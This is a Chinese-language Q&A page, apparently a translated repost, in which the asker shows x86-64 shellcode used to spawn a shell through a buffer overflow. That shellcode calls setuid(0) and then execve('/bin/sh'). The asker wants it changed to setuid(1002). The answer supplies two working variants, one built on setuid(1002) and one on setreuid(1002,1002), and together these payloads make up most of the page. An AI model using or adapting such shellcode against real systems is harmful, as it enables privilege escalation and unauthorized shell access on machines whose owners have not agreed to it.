如何在shellcode中设置一个特定的setuid?

问题描述 投票:0回答:1

我使用的是下面的汇编代码 此处 setuid(0),并在缓冲区溢出时得到一个shell。

xor    rdi,rdi
mov    al,0x69
syscall
xor    rdx,rdx
movabs rbx,0x68732f6e69622fff
shr    rbx,0x8
push   rbx
mov    rdi,rsp
xor    rax,rax
push   rax
push   rdi
mov    rsi,rsp
mov    al,0x3b
syscall
push   0x1
pop    rdi
push   0x3c
pop    rax
syscall

我需要修改为setuid(1002)而不是setuid(0)

我不明白在这个汇编代码中,setuid发生在哪里?

assembly x86-64 buffer-overflow shellcode setuid
1个回答
1
投票

这个setuid为1002。

xor    rdi,rdi
xor    rax,rax
mov    di, 1002
mov    al,0x69
syscall
xor    rdx,rdx
movabs rbx,0x68732f6e69622fff
shr    rbx,0x8
push   rbx
mov    rdi,rsp
xor    rax,rax
push   rax
push   rdi
mov    rsi,rsp
mov    al,0x3b
syscall
push   0x1
pop    rdi
push   0x3c
pop    rax
syscall

而这个setreuid为1002

xor    rdi,rdi
xor    rax,rax
xor    rsi, rsi
mov    si, 1002
mov    di, 1002
mov    al,0x71
syscall
xor    rdx,rdx
movabs rbx,0x68732f6e69622fff
shr    rbx,0x8
push   rbx
mov    rdi,rsp
xor    rax,rax
push   rax
push   rdi
mov    rsi,rsp
mov    al,0x3b
syscall
push   0x1
pop    rdi
push   0x3c
pop    rax
syscall
© www.soinside.com 2019 - 2024. All rights reserved.